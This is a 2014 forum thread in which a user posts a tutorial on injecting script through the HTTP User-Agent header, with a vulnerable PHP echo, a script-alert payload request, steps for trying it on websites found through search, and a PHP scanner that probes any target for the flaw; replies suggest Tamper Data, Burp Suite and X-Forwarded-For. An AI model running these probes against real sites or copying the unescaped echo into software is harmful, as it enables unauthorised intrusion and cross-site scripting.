HTTP Header Code Injection

Boomslang · 05-05-2014, 04:40 PM

Hello [username]!
I'm going to show you the Header Injection in this thread.

What The Hell is a Header?
The HTTP Header is used by HTTP servers to get information like request type, host, user-agent etc. from the client.

Example header information;

Code:
GET http://www.tiggerwigger.com/ HTTP/1.0
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/5.0 [en] (X11; I; Linux 2.2.3 i686)
Host: www.tiggerwigger.com
*

Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1, *, utf-8

These information can be seized with server side languages.
For example;

Code:
$_SERVER['REMOTE_ADDR']; //Client IP
$_SERVER['HTTP_ACCEPT_CHARSET']; //Header Charset Information
$_SERVER['HTTP_ACCEPT_ENCODING']; //Header Encoding Information
$_SERVER['HTTP_USER_AGENT']; //Header User Agent Information

We can inject into some of these header information. We'll inject into User-Agent in this tutorial.

For example our page will be like this,

Code:
<? print "Your User-Agent is: $_SERVER['HTTP_USER_AGENT']"; ?>

What if we just send a header information like this?

Code:
GET http://www.tiggerwigger.com/ HTTP/1.0
User-Agent: <script>alert('RootTheSystem was here!!');</script>
Host: www.tiggerwigger.com
Connection: Close

BAM! A wild prompt screen appears Biggrin

Exploiting
You can use a Firefox add-on named "User Agent Switcher".
Download link: https://addons.mozilla.org/en-US/firefox...-switcher/

After installing the add-on, go to Tools>Default User Agent>Edit User Agents...>New

[Image: tRW3ZK4.png]

Then type "What is my user agent?" in google and get in some website.
Reload the page after changing your user agent and..
BAM!!
[Image: WsE0WCw.png]

But still we don't like using tools untill its not made by us so we will write one Tongue

Code:
<html>
<body>
<div align="center">
<h2>Header Injection Tool</h2>
<form action="#" method="POST">
<b>Target (without http://) :</b>&nbsp;<input type="text" name="target">
<br>
<input type="submit" value="Shoot to That Bitch!">
<br>
<br>
<?php
if(!empty($_POST['target'])){
$fp = fsockopen($target, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $response = "";
    $header = "GET http://$target/ HTTP/1.1\r\n";
    $header .= "Host: $target\r\n";
    $header .= "User-Agent: <hc>Hey Orange!!</hc>\r\n";
    $header .= "Connection: Close\r\n\r\n";

    fwrite($fp, $header);
    while (!feof($fp)) {
        $response .= fgets($fp, 128);
    }
    fclose($fp);
	if(strstr($response, '<hc>Hey Orange!!</hc>')){
	echo "<b>Vulnerability Found!!</b><br>";
	}else{
	echo "<b>Website isn't vulnerable..</b><br>";
	}
}
}
?>
</form>
</div>
</body>
</html>

I hope you liked this tutorial Smile

Au Revoir..

dropzon3 · 05-05-2014, 04:53 PM

Personally I'd recommend

Tamperdata: https://addons.mozilla.org/en-US/firefox...mper-data/ or
LiveHTTPHeaders: https://addons.mozilla.org/en-us/firefox...p-headers/

For header modification on the fly. You can ofc inject into more than just the user-agent string, another common one is X-Forwarded-For.

Or if you're doing a lot of it grab BURP Suite and utilize the webproxy gives you a lot of freedom: http://portswigger.net/burp/download.HTML

Ligeti · 05-05-2014, 10:43 PM

As usual... interesting thread and a good read, keep it up, and thanks for sharing!

artifact13 · 05-05-2014, 11:35 PM

Thanks for sharing Smile

Spirit · 05-05-2014, 11:37 PM

Thanks for the interesting read!
I'm just about to head on over to your CRLF Injection thread to check that out.

You should really keep posting these tutorials because they certainly are interesting. Biggrin

HTTP Header Code Injection
Author Message